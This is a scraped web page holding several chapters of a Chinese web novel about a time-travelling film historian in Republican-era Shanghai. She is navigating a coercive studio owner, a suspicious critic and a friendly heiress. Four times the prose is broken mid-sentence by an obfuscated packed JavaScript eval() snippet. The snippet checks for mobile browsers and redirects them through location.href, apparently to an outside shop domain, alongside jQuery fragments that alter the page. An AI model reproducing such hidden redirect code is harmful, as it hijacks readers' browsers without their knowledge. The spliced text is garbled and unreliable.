;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001695|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子端着两碟细点进来,抬眼正瞧见邵文谦俯身斟茶这一幕,脚步微顿,随即脸上便绽开温婉而得体的笑意: “哎呀,幸亏我这会儿进来了。不然竟不知道下头人这样疏忽怠慢,倒要劳动邵公子亲自照料。是我们招待不周,回头我得好好说说她们。” 邵同这时才从容开口:“金老板言重了,千万别责怪。服务是极周到的,是文谦自己坐不住,想尽一尽绅士风度。年轻人嘛,殷勤些也是常情。” 邵文谦白净的脸上泛起一层薄红,嘴唇微动,似乎想分辨什么,终究什么也没说,默然坐回了原位。 邵同抬手为二人引见:“这位是金曼丽金老板,这间锦绣川菜馆的主人,也是沪上知名的女企业家,白手起家,真正的女中豪杰。” 他转向周弥,笑意深了些,“这位是周弥周小姐,刚从海外归来。我已经听了她两场讲座,一场隆中对,一场舌战群儒,见识精深,亦是不让须眉的巾帼才俊。两位认识一下,想必能谈得投契。” 金曼丽目光落在周弥身上,含笑颔首:“方才在门外已听得几句,周小姐见识不凡,谈吐清朗,令人佩服。这般年纪便有如此格局,实在难得。” 周弥素来不擅长说那些圆融的漂亮话,但见金曼丽通身气度,又闻她白手起家,凭一己之力经营起这偌大且格调不俗的川菜馆——在这年代,一个女人做“老板”而非“老板娘”,其间要冲破多少有形无形的藩篱,抵抗多少诱惑,付出多少心血,可想而知。 她心中油然生出敬意,话便也说得格外恳切: “姐姐才是真厉害。这馆子环境雅致,菜品又好吃,一个女人做老板而非老板娘,背后的心血和魄力,还有定力,实在令人敬佩。我不会说场面话,让姐姐见笑了。” 这番话朴实无华,却句句落在实处,恰恰戳中了金曼丽最看重也最不易为人道的艰辛之处,欣赏里便多了几分遇到“知音人”的暖意。 她是个爽朗性情,见周弥既有见识又不世故,心中实在喜爱,忍不住上前一步,热络地握住了周弥的手。 “妹妹既然喜欢,以后不妨常来坐坐。就当是自己姐姐的地方,不必拘束。” 她随即含笑向门边示意,一名服务员便推着一辆铺着雪白桌布的小餐车进来,车上银盖尚未揭开,一股融合了醇厚与清鲜的香气已袅袅透出。 “这是厨房新琢磨的‘春山含笑’,时令菜心衬底,火工讲究,请诸位品鉴指教。”金曼丽亲自揭盖,热气携着更浓郁的香气弥漫开来。她又与主座的邵同客气了几句,便温言告退,临走前向周弥方向微微颔首,笑意宛然。 众人分食一番,又添了些酒,席间气氛渐渐活络,不复初时的剑拔弩张。宴罢,宾朋陆续告辞,邵同将邵文谦唤至身侧,吩咐道:“文谦,你替我送送周小姐。” 周弥不想让他们父子知道她的住处,自然婉拒,邵同却还是那副表面和气,内里强势的做派,语气是不容置喙的: “夜深了,周小姐初来乍到,让文谦送一送应当的。不许再推辞。” 8. 一波又起 周弥此刻不好开罪于他,只能配合。 等车的片刻,廊下只剩他二人。邵同指尖将那枚紫檀木鼻烟壶摩挲把玩了好一会儿,忽然开口,声音压得低,只她听得清: “周小姐,方才席上那些话,说给年轻人听听,鼓鼓气,无妨。我邵某虽也有些理想,但办公司,到底不是做善堂,商业性三个字,是立身之本。依你看,有没有两全之法?” 周弥心下一动。 在她熟知的电影史定论里,众一是著名的保守派,其坚守常被后世学者或赞为艺术上的求真,或贬为思想上的固步。总归是盖棺定论的一张标签。 她从未想过,这标签之下,也曾有过如此具体而现实的权衡与挣扎。 历史洪流中的每一次选择,在发生的当下,都浸透着局中人的迷茫、压力与孤注一掷的赌性。后世者站在已知结局的岸边回望,难免生出“本该如此”的傲慢,连她这个以研究电影史为业的人,也曾在心底对那些“保守”的前辈,有过一丝不易察觉的轻慢。 此刻,这层隔着时空的傲慢被骤然戳破,她对这些身处迷雾中仍试图掌舵的人,生出了一份迟来的、复杂的敬畏。但同时,一股更灼热的野心也在她胸中升腾,既然上天给她拨开迷雾的视角,这样的机遇,她没理由不抓住。 当然。横在眼前的,确是个实实在在的难题。 她无奈地牵了牵嘴角:“邵先生,您这是既要风骨不折,又要盆满钵满,还要青史留名……世上哪有这样的好事?” 邵同的目光牢牢锁住她,那点惯常的温和笑意褪去,露出底下商人精于计算的底色,语速缓而沉,压力悄无声息地弥漫开:“若不是‘既要又要还要’,那也称不上是难题了。周小姐,你说是不是?” 这话……倒也没错。 可正是因为“既要又要还要”是天下第一等的难事,也是天下第一等的好事,周弥才更要攥在自己手里。 她望向远处,抿嘴攥拳,“若您执意要我解这道无解题,那我只好不要您的帮助了。大不了要头一颗要命一条。” 邵同闻言,竟放声笑了起来,那笑声在寂静的廊下显得有些突兀。 周弥虽知道邵同不可能为这种"不合逻辑"的事真的为难她,所以才敢故意如此措辞表明态度,但还真不知道这有什么好笑。等他笑完,才说:“这道难题,莫非就是您口中要我帮的小事?恕我直言,这可一点也不‘小’。” “不是它。”邵同收住笑意,摇了摇头,却又不再往下说。 他不再说,便意味着这笔“交易”悬而未决,把柄仍牢牢攥在他手里。 周弥心中掠过一丝厌烦——与这般老谋深算的人物周旋,如同踏在薄冰上。可转念一想,即便此刻两清,以邵同这般喜怒难测、翻云覆雨的性子,今日的承诺也未必作数。 还是得另想办法解决身份问题,不能将把柄落在这个人手里。 车平稳地停到面前。 邵文谦依照父亲的吩咐,履行着绅士的义务。他拉开车门,待她坐定,才绕到另一侧上车。 邵同站在车外,眉头几不可察地一蹙,忽然伸手叩了叩邵文谦那侧的车窗。 车窗降下。 “你不会开车么?”邵同的声音不高,却带着一种不容置疑的威压,“让司机跟着做什么?” 邵文谦白净的侧脸在车内昏暗的光线下绷紧了。他抿了抿唇,没说什么,只默然推开车门,重新站到了路边。 早已候在一旁的司机立刻上前,将车钥匙递到他手中,随即躬身退开几步。 邵文谦坐进驾驶位,关上车门。引擎启动的低鸣在狭小的空间内响起,他握了握方向盘,才侧过脸,用比刚才更平淡几分的语气问:“周小姐住哪里?” "和平宾馆,霞飞路。" 周弥之前没有合法身份,这两天一直暂居在阿勇那里,今天白天刚拿到假证又马上被邵同截住,根本还没来得及找新的住宿地点。幸好□□时,她拿了张旧上海地图仔细看过,此刻方能从容说出这个还算体面的旅馆名字。 霞飞路不算很远,但对于像周弥这种习惯了坐车抠手机打发时间的现代人来说,还是太远了。 尤其是,车里还坐着个不发一言的年轻男子。 这位邵公子唯一的“热络”,似乎只存在于方才席间探讨那两部先锋电影时的专注一瞬,以及为她布菜添水时那片刻的妥帖。除此之外,他一直是这副冷若冰霜的模样。 周弥虽然觉得气氛有点尴尬,但心底其实乐得清净。若他也像他父亲那样能说会道,面上含笑、句句机锋,她才要倒霉呢。 车在和平旅社的招牌下停稳。 周弥道了声谢下车,邵文谦却忽然也推开车门跟了出来。 她心下一紧,难道还要“护送”上楼?邵同连这一步的监视都安排了?没必要吧,她都有案底在他手里了,这老狐狸也太过分了! 邵文谦绕过车尾,站到她面前一步之遥。街灯将他的影子拉得细长,他脸上没什么表情,开口时语气是公事公办的平淡: “周小姐,身份的事,父亲吩咐了。就按您自己拟定的旧金山华侨背景,我会登报为您登一则简短的归国启事。日后若有人查问,这便是个可追溯的由头。” “这是您父亲的意思?” 他沉默了一瞬,才答:“是的。” 周弥点点头:"那便多谢了。” 邵文谦似乎还有话,话到嘴边却有片刻极细微的踌躇,“还有……方才席间,家父言语间若有任何令人不适的暗示,我代为致歉。” 他顿了顿,目光平静地看向她, “我已有未婚妻,正在英伦求学。席间为你布菜添水,仅为宾客之礼,别无他意。请你不要误会。” 说完,他微微颔首,不等周弥有任何反应,便转身径直回到了车上。车门关合,引擎低鸣,黑色的轿车很快便融入夜色车流,消失不见。 不是……?这是不是有点太自恋了? 她抬手揉了揉额角,几乎要气笑了。 谁误会了?她看起来很像会对他那点“宾客之礼”想入非非的花痴女吗?这位邵公子,究竟是太把自己当回事,还是太不把她当回事? 一个老谋深算,表面和气实则强势,将胁迫玩得滴水不漏;另一个清冷孤高,忙着划清界限,生怕别人对他有半分非分之想。这对邵家父子,真是各有各的离谱,各有各的不可交。 在前台办好入住手续,周弥走进房间,终于长长叹了口气。既是周旋一天的疲惫,又是计划失败的可惜。 她原本的计划,是走“大营销”路线,让她的传奇口口相传,这样身价才会水涨船高。 就好比卧龙凤雏,得一人可安天下。她也要让整个上海滩的电影公司都求贤若渴,届时,她身为顾问,却能成为真正的核心。 可现在,身份成了悬顶之剑。她敢高调,邵同就敢让她“社会性死亡”。 换句话说,她被拴住了。 说起来,众一这对父子,远没有陆世铮那般清风明月,早知要被拴住,还不如和他共事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001696|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人有野心,也得看时运。谁能想到,她刚办出假证,出门就撞上了邵同这尊煞神。 点背,不能怪社会。 既然必须为众一所用,那干脆谋一个正式职位,拿着稳定收入再谋出路。 第二天一早,她收拾妥当,准备先去租个房子作为长久落脚之地,再去找"新东家"谈谈实际问题。 刚下到旅馆大堂,脚步便是一顿。 门口光影处,一个穿着西装的男子正静静站着,目光落在楼梯方向,显然是在等人。看他的表情,似乎等的就是她。 见周弥走近,那人迎上两步,脸上带着恰到好处的社交笑容:“周小姐,早。昨天在邵公的宴席上我们见过,鄙人李记元。” 此人听声音是中年,却生了一张圆润的娃娃脸,眼角细纹很淡,一时难以判断具体年纪。昨天席间他一直默然用餐,未曾参与那些激烈的辩论,故而周弥对他印象不深。加之今日他换上了一身西装,与昨日那身长衫相比,反差颇大,难怪一眼没认出。 两人简单寒暄客套几句后,周弥便直接问道:“李先生一早在此等候,不知有什么事?” 李记元道:“想冒昧邀请周小姐,赏光参加一个小型舞会。” 周弥不知他如何得知自己的住处,更不明白此人为何一早便在此守候,只为邀她参加一场舞会。她对与邵同相关的一切人和事都抱有十二分的戒备,当即婉拒道:“实在抱歉,今日已有安排,恐怕不便。” 李记元似乎早料到她有此一答,并不气馁,从容地从怀中取出一张印制考究的请柬:“周小姐误会了,并非今日,是后天的聚会。我也并非以个人名义相邀。” 他上前半步,将请柬轻轻递过,“我受旧金山湾区华人同学会几位同仁郑重委托,特意前来相请。” “同学会”三字入耳,周弥心下警铃大作,这邀约目的岂止不纯,简直是来者不善。 果然,对方紧接着道:“听闻周小姐早年也在旧金山求学。当地华人子弟就读的高中,拢共就那么几所。我们这同学会,规模不算小,几乎覆盖了那几所学校近十年的毕业生。仔细算来,总该有与周小姐相熟的同级或校友才是。大家聚一聚,叙叙旧,也是美事一桩。” 周弥脸上挤出一个略显尴尬的浅笑,并未伸手去接那张请柬:“李先生盛情心领了。不过我生性内向,不擅交际,实在不习惯这种热闹场合,还是算了吧。” 李记元叹口了气:“周小姐有所不知。昨日我将席上那番‘舌战群儒’的精彩场面说与会中同仁听,大家无不钦佩,极想结识。可等我报出周小姐的芳名,他们却面面相觑,都说从未听说过这个名字,反笑我杜撰故事诓骗他们。” 他顿了顿,状似无奈又恳切的续道:“我真是百口莫辩。周小姐若肯拨冗前往,既是让同仁们一睹真容,解了疑惑,也是替我做个见证,洗脱这信口开河的冤名啊。” 周弥心下瞬间闪过无数念头。 去,一定露馅。不去,则等于将“心虚”二字明晃晃写在脸上,或许会招来更严密、更直接的调查。 电光石火间,她做出了判断。 脸上那点尴尬的浅笑迅速转为从容,她伸手,稳稳接过了请柬, “如此盛情,我再推辞,倒显得不识抬举了。”她将请柬收入手袋,“时间地点我已记下,届时一定准时赴约。” 李记元眼中闪过一丝微不可察的讶异,似乎没料到她答应得如此干脆,随即笑容更深:“太好了,周小姐肯赏光,同仁们定然欣喜。那我们届时恭候大驾。” 9. 明星志愿 周弥略一颔首,不再多言,转身步出了旅馆大门。 直到她的身影消失在街角,旅馆又踱出另一人,那人也是昨天宴席上的一位宾客。 他望着周弥离去的方向问:“李兄,依你看,这位周小姐……是真是假?” 李记元脸上那副温文尔雅的面具早已卸下,取而代之的是一种洞悉的冷漠,“还用问?十成十是假的。” 那人问:“既是假的,你还费这劲干嘛?” 李记元深深地望着周弥的背影,道:“假的才好拿捏,真的反而麻烦。” 周弥沿着旅馆前的巷子快步走着,心绪纷杂。 她本为自己编织的护身符,如今却成了招灾引祸的标靶。 她快速梳理:李记元显然对邵同宣称的“华侨”身份存疑,且能精准找到她的落脚处——是昨天跟踪了邵文谦的车? 此人和邵同似乎隔着肚皮,不似心腹。 联想到华光内部的商业间谍,这李记元,没准也是谁安插在众一的一枚暗子。 只是,他效命于瑞星?华光?还是别的势力? 破局之法在脑中急转:一是自污,谎称早年辍学,学历有瑕,堵住"校友”之问,但会损及信誉根基。 二是反制,尽快摸清李记元的底细,或可收买,可眼下她人单力薄,除非借邵同之力去查。 但她又不敢百分百确认这不是邵同自导自演的一出双簧。 正思虑重重,前方忽有人影挡路。又是个穿着短褂、模样精干的年轻男人,又是客气却不容拒绝地拦在她身前: "周弥小姐,我家小姐有请。” 周弥几乎要晕倒!又来?!真是人怕出名猪怕壮! “抱歉,我还有事。”她侧身欲走。 男人并未强拦,只侧身示意。 循着他的方向,周弥看见不远处一家欧式咖啡馆的户外座区,一位穿着鹅黄色洋装、头戴钟形帽的小姐正站起身,边往这边走边挥手,笑容明媚。 男人低声补充:“那位就是我家小姐。” 晨光映着她细腻的脸庞和明亮的眼眸,她几步便到了近前,伸出手,声音清脆悦耳,带着一股不谙世事的热忱: “周小姐,您好!我叫白秋宁。” 她笑容灿烂,仰慕之情几乎要溢出来,“昨天有幸……呃,旁听到您讲话,真是令人茅塞顿开!我特别特别佩服您!” 昨天?周弥捕捉到这个时间点,心中疑虑未消。 “就是昨天在锦绣川菜馆。" 白秋宁立刻解释道,脸颊微微泛红,显得有些不好意思,“我在另一间包间。去洗手间时,正巧听见金老板在走廊上跟人夸您,说得神乎其神。我实在好奇,就……就凑在门口听了一小会儿。” 她声音越来越小,越发不好意思起来,“算是……搞了下‘窃听’吧。您别见怪!” 周弥看着她这副天真无邪模样,警戒心略松了半分:“白小姐是电影爱好者?” “算是吧!”白秋宁眼睛一亮,用力点头,“所以特别想跟您聊聊!我能请您喝杯咖啡吗?或者……” 她像是想起什么新鲜玩意儿,兴致勃勃地推荐,“最近新到了一种叫可口可乐的汽水,是从美国来的,冰冰的,特别畅快!要不要试试?” 周弥看她单纯可爱,心里生出些好感,但眼下实在无心应付这位热情过度的陌生仰慕者,只能笑着婉拒: "白小姐盛情心领了。改日若有时间,我们再聊。今天确实还有些事要处理。” 白秋宁犹豫了一下,问,"周小姐是要去租房吗?" 周弥心头一跳:“你怎么知道?” “我刚才在车里,看见您一路走过去,好像在跟几个弄堂口的阿姨打听房子的事。” “……”周弥真的服了自己,反侦查能力实在太差,每天都要被各种人跟踪还一无所查。 白秋宁看她脸色变幻,忙指了指停在路边的一辆漂亮轿车, "没有跟踪!我是偶遇。但当时我没化好妆,觉得灰头土脸的,想着一定要打扮得漂漂亮亮的才好跟您说话,就先补了个妆,我想着您顺着路往前走,怎么都是要走到这个咖啡馆,我就在这里等您了。” 她这一番解释,坦率得几乎有些孩子气。周弥看着她真诚发亮的眼睛,一时竟有些哭笑不得。 白秋宁却趁热打铁,语气变得更加热切,甚至带点小心翼翼的期盼:“周小姐若是还没找到合适的房子,我有个小公馆,就在附近,环境很清静,目前空着也是空着。您可以搬去住,不要租金。” 她顿了顿,似乎怕周弥觉得唐突,急忙补充,眼神清澈见底: “我就是就是想和您离得近些,能和您多请教,您看您愿不愿意呢? 还有这种好事? 市中心的独栋公馆,免租金,且必然配有相应的门禁与安保。这条件,比她自己去寻摸任何一处住处都要稳妥安全得多。 说完全不心动那是不可能的,可是无功不受禄,她还是婉拒道:“白小姐的好意我心领了。只是无功不受禄,这样贵重的馈赠,我实在不能接受。” 白秋宁脸上明媚的笑容顿时黯了黯,流露出几分孩子气般的失望,小声嘟囔:“真的不用客气的,空着也是空着……” 站在她身旁一个梳着双鬟、穿着干净布褂的年轻女孩,瞧出周弥的疑虑,以为是担心其中有诈,忍不住上前半步,语气里带了点为主人不平的急切: "周小姐,我家小姐可是瑞星电影公司白老板的独女,难道还会算计您什么不成?一片诚心,您何必……” “阿香!你干嘛呀,”白秋宁立刻回头轻斥,秀气的眉毛蹙起,“谁要你在这儿多嘴了?”她转回头看向周弥时,脸颊微微泛红。 原来是瑞星电影公司的千金。 瑞星专拍商业片,出片速度奇快,走的是好莱坞式流水线作业。虽常被业界鄙称为“烂片生产厂”,艺术性匮乏,但其低成本、高产量、紧追时髦的路线,却让它成了眼下上海滩最赚钱的电影公司之一。 难怪这位白小姐行事如此率性,家底的确深厚。 一个念头从周弥脑中闪过:今早那位李记元,会不会就是瑞星安插在众一的棋子? 她无论如何都觉得李记元似与邵同貌合神离,又不相信陆世铮手下的人会如此刁难于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001697|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,首先就想到了瑞星。 如此这般,那眼前正是探寻口风,寻找突破口的机会。 这么想着,周弥便改了主意:“白小姐如此盛情,再推辞倒显得我不近人情了。那就叨扰一杯可乐吧。不过我看我们两个年龄相仿,彼此之间就名字,也不必您呀您的称呼了,弄的我也有些放不开了。” 白秋宁眼睛倏地亮了,立刻欢喜地应承下来,热络地挽起周弥的胳膊,将她引向咖啡馆的露天座位。 两人在白色阳伞下落座。侍者端上冰镇的可口可乐,盛在雕花玻璃杯里,棕色的液体“滋滋”地冒着细密欢快的气泡。几番看似随意的闲聊下来,周弥才渐渐摸清了白秋宁此番热情背后的真正意图。 原来这位大小姐一心向往银幕,梦想成为电影明星,却遭经营电影公司的父亲坚决反对,她也曾想过隐去身份去别家电影公司试镜,可一来,人家忌惮她的背景,怕她是替父亲来“捣乱”或“偷师”的; 二来,她自幼被众星捧月,面上虽平易近人,骨子里却有一股不愿俯就的傲气,若要她从无名配角、甚至龙套做起,看人脸色,她也是不大乐意的。 “周姐姐,我昨天听了你的见解,就觉得你的眼界实在开阔,和我们平时见的那些人都不一样!” 白秋宁眼眸亮晶晶的,身体不自觉前倾,“我在想……你能不能自己出来拍电影?” 她越说越兴奋:“我这些年自己也攒了些体己钱,对了,还有我的嫁妆——我早就从爸妈那儿讨出来了,全存在我的汇丰户头里。我可以都拿出来投资!我来当你的演员,片酬分文不要!我就是想演,想名正言顺地站在镜头前面,让所有人都看见我!” 周弥被她这不管不顾的劲头逗笑了:“你把嫁妆都投进去,以后不结婚了么?” 白秋宁神色俏皮,“我是不婚主义。我对婚姻生活目前毫无兴趣。“ 她喝口可乐,接着道:“做太太这件事实在没有意思,我妈妈做太太已经算得上成功了,不能说数一数二,那也是太太圈里的知名人物,但我既不羡慕,也不崇拜。” “那你羡慕谁?崇拜谁?”周弥顺着她的话问。 “阮玲玉!胡蝶!王人美!还有好多呢!总之,我崇拜的都是电影明星!” 她说着,从随身的手袋里小心抽出一份崭新的《良友》画报,热切地将画报摊开在两人之间的圆桌上。 彩印的封面上,阮玲玉身着旗袍,眉眼含情,风华绝代。内页则是大幅的明星剧照、生活照,以及新片预告。 “你看,我今天出来,就是特意去买新一期的!你看,这封面拍的多美!” 她飞快地翻到中间彩页,指尖轻点,“这张!胡蝶小姐最新拍的时装照,这身洋装和发型,还有这珍珠项链,多时髦!旁边这篇专访写她拍新电影时的趣事……” 她又翻过几页:“你看王人美刚登的‘美丽牌’香烟广告,这姿势多俏皮!” 她越说越投入,突然指着一帧占了半页的明星特写,还没等周弥看清是谁,她已经激动地几乎要趴到纸上:“这张!这张侧影太好看了,光线打得也妙!我要剪下来,贴到我的收藏集里!” 10. 天降同窗 周弥看她那认真劲儿,忍不住笑道:“好好的画报,剪了多可惜。” “我只留我喜欢的明星呀,”白秋宁理直气壮,“其他的留着也无用。” 一旁的阿香闻言,又忍不住插话: “周小姐您不知道,我们小姐这样的收藏集有好几大本呢!分门别类,阮玲玉的,胡蝶的,最近又迷上那个……人太多了我实在记不清名字了……总之,从剪贴的画报、新闻报道,到明星代月份牌、广告画片,全都按时间顺序整理得清清楚楚,比书局里的目录还齐整!说起来,我们小姐平时也没少在片场见明星,结果比人家见不到的瘾还大。” 白秋宁脸上飞起两片红晕,又羞又恼地瞪了阿香一眼:“你这丫头,今天话怎么格外多!” 她眼珠一转,从兜里掏出一枚亮闪闪的大洋,递过去,“喏,给你,不是有卖冰淇淋的么?去买个双球的,堵住你的嘴!” 阿香笑嘻嘻地接了钱,屈了屈膝,清脆地应了声“谢谢小姐”,便脚步轻快地跑开了。 白秋宁这才有些不好意思地对周弥笑笑:“见笑了见笑了。”一边说,一边将那份画报仔细地收回了手袋。 周弥看着她这般情态,实在忍俊不禁,没想到民国时期的追星女也如此疯狂,忍不住故意逗她:“你现在是迷恋这些大明星。可人都是说不准的,要是以后反悔,又想结婚了呢?” “那就再结呗!”白秋宁答得理所当然,下巴微扬,带着一种被娇养出来的天真与霸气,“我要是成了大明星,要什么样的没有?至于嫁妆更是说赚就赚。” 两个人咯咯笑过一阵,周弥道:“你这人还真有有趣。本来觉得可以交个朋友,听你这么一说,没准以后真能做个闺蜜了。” “闺蜜是什么意思?”白秋宁眨了眨眼,对这个新词感到好奇。 “就是闺中密友。” 周弥这么一解释,白秋宁立刻恍然大悟般连连点头,亲昵地拉住她的胳膊:“那我们以后就是好闺蜜了!” 随即又按捺不住急切,眼睛发亮地问:“那我们什么时候能开始拍电影呢?” 周弥看着她这副跃跃欲试的模样,心中好笑又有些无奈,轻轻拍了拍她的手:“别急。拍电影是件大事,得从长计议。况且……”她顿了顿,神色转为认真,“我最近遇到些麻烦,恐怕暂时没法立刻着手。” “麻烦?”白秋宁立刻收敛了笑容,关切地问,“什么麻烦?我能帮上忙吗?” 周弥略一沉吟:“你认不认识一个叫李记元的人?” “李记元?”白秋宁蹙着秀气的眉头想了片刻,有些不确定,“名字有点耳熟……好像在哪本电影杂志上看过他写的文章?但人是从没见过的。” 她随即反应过来,神情立刻变得关切,“你遇到麻烦,和这个人有关?他是不是……欺负你了?” “那倒没有。”周弥斟酌着语句,隐去了被邵同胁迫的关键部分,只将李记元以“旧金山同学会”名义邀约、言语间多有试探的事情简略说了。 “什么同学会!一听就是个幌子!”白秋宁听完,撇了撇嘴,神色间满是不屑与了然,“打着同乡校友旗号、鬼鬼祟祟探人底细的,十有八九没安好心。”她眼珠一转,忽然笑起来,脸上带着点狡黠,“不过这事,说不定我真能帮上忙。” “哦?”周弥看向她。 “他不是怀疑你在旧金山的经历吗?”白秋宁挺了挺胸脯,语气带着几分自豪,“我可以给你做人证呀!我中学时也在旧金山念过两年书,圣玛利女中,就是功课不怎么样,混日子罢了,我平时也不爱去这些活动。所谓同学会,说是联谊叙旧,其实不就是听一帮人互相吹嘘攀比,又或者求偶谈恋爱?我才不乐意去。” 她越说越起劲,一副跃跃欲试的模样:“不过这次我陪你去!有我给你作证,看谁还敢瞎怀疑!那个什么李记元要是再敢来纠缠,你就让他直接来问我!” 周弥看着她信心满满的样子,不禁失笑,提醒道:“你确实没在学校里见过我,还要给我作证么?” 白秋宁却俏皮地眨了眨眼,一副“这你就不懂了吧”的神情,凑近了些,话里理直气壮: “古人说相逢何必曾相识,我觉得相识何必曾相逢也是一样。你不愿意说,肯定就有不好说的理由,为你撒点无伤大雅的小谎,有什么要紧?” 周弥心里实在是很有几分愧疚,但她又目前又确实无法全然坦诚,主要是,这实在太难解释了。她握住白秋宁的手道: “我答应你,等麻烦解决了,我一定想办法,为你拍一部电影,让你来演女主角。” 听见这话,白秋宁显得非常开心,整个人已经十分飘飘然起来,两人又闲聊了一阵,白秋宁再次热情邀请周弥去看看那处公馆。在她再三坚持下,周弥终于松口,但坚持道:“去看可以,但完全免租金绝对不行。你若实在要帮,就给我打个低折,让我住得安心些。”白秋宁见她态度坚决,只好妥协,约定按照周弥在外面打听的普通租房价钱付钱。 两人有说有笑地上了白秋宁那辆漂亮的汽车,不多时便来到法租界一处静谧的弄堂深处。 公馆是一座小巧精致的三层西式楼房,红砖外墙爬着些常春藤,带着岁月温润的质感。门前有个巴掌大的小花园,虽不奢华,却收拾得整洁清幽。推门进去,里面家具一应俱全,柚木地板光可鉴人,客厅有一面宽敞的落地窗,阳光洒进来满室明亮。最难得的是,楼上有一间书房,书架空空,正合周弥心意。 出门时,白秋宁特意演示了那颇为考究的铜制门禁和门锁,把钥匙给她,认真交代:“这里很安全,平时也有相熟的帮佣阿姨定期来打扫,你把东西搬过来就能安心住下。” 她想了想,又问,“你行李多不多?我让家里当差的去旅馆帮你搬。” 周弥哪有什么正经行李,不过几件换洗衣裳罢了,便婉言谢绝了。 白秋宁又说,“那总得安部电话,往后联系起来方便。你若要用车,只管摇个电话过来,我叫司机接送你。” 周弥更觉过意不去,笑着推辞:“真的不必这样费心。有个清静地方落脚,我已经不知怎么谢你才好。又是电话又是司机的,倒真像金屋藏娇似的,我更要不好意思了。” 白秋宁先是一愣,脸颊微红,也跟着说俏皮话,“我又不是汉武帝,这里也不是金屋子,不过是座砖头垒的小楼罢了。”她抿嘴一笑,语气却坚持,“司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001698|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机不用便罢了,电话总得装的——本来也是要装的。” 话说到这份上,周弥自然不好再推拒。两人约好明日舞会相见,便各自离去。 周弥没急着回旅馆收拾那点简单的行李,转身先拐去了阿勇家。关上门,她低声吩咐:“去摸清楚李记元的底细。重点查他和邵同究竟是什么关系,怎么搭上线的。” 阿勇办事利落,隔天便有了回音。 “打听过了,”他压低嗓音,“李记元确是喝过洋墨水的,笔头子硬,在《申报》《新闻报》都开着影评专栏。最早是搭上瑞星白老板的线,后来不知中间出了什么龃龉,闹掰了,转头就钻进了邵老板那个文人圈子。”阿勇略顿,神色里带上一丝讥诮,“这人有点意思——面上跟着那帮老先生摇头晃脑,私底下却是个摩登客。霞飞路新开的‘爵士阁’他是常客,西装总是最时兴的料子,还爱搜罗些稀奇古怪的西洋玩意儿,跟圈子里其他古板先生,全然不是一路。” 周弥听完,心中一定。既然不是邵同豢养的心腹,事情便简单多了。 … 翌日傍晚,华懋饭店宴会厅。 水晶吊灯将厅内映照得如同白昼,留声机流淌出慵懒的爵士乐。衣香鬓影间,西装革履的绅士与旗袍翩翩的淑女们低声谈笑,空气里浮动着香水、雪茄与糕点的甜腻气息。 周弥穿着一身新置办的月白色缎面旗袍,款式简洁,仅以珍珠扣点缀,反倒衬得她气质清冽,有一番书卷气。 不得不说,她想穿旗袍很久了,今天终于穿上了!开心! “周小姐,这边!” 李记元早就在入口处等候,见到她们,立刻笑容满面地迎上来。他今日也换了一身更正式的晚礼服,娃娃脸上顶着一个摩登发型,一看就是用摩丝定型过的。 见她一副悠然自得、笑意盈盈的模样,李记元心底冷笑——倒真沉得住气,看你能装到几时。 他引她穿过人群,来到宴会厅一侧相对安静的休息区。那里已聚着七八位男女,年龄多在二三十岁,打扮皆很体面,此刻正端着酒杯低声交谈。见李记元带人过来,所有人的目光瞬间聚焦在周弥身上,好奇、审视、探究……不一而足。 李记元嘴角微不可察地一撇,正要开口介绍这出好戏的主角,人群中却忽然响起一道清亮含笑的嗓音: “周弥!你也来啦!” 只见一抹樱桃红的俏丽身影越众而出,正是白秋宁。她今日装扮得格外精心,笑盈盈地径直上前,熟稔地挽住了周弥的手臂。 李记元一怔:“二位认识?” 白秋宁眨了眨眼:“当然呀。我刚到旧金山念书时,就和周弥同过窗,只不过她后来家里有事,退学退得早了些。”她说着,指尖在周弥腕上轻轻一按,像是分享一个只有彼此知晓的小秘密。 这一着完全打乱了李记元的算盘。他本打算今晚当众揭开这“沽名钓誉者”的真面目,不想戏台还没搭好,白家这位向来不掺和此类聚会的千金,竟横插进来,亲亲热热地认起了同窗。 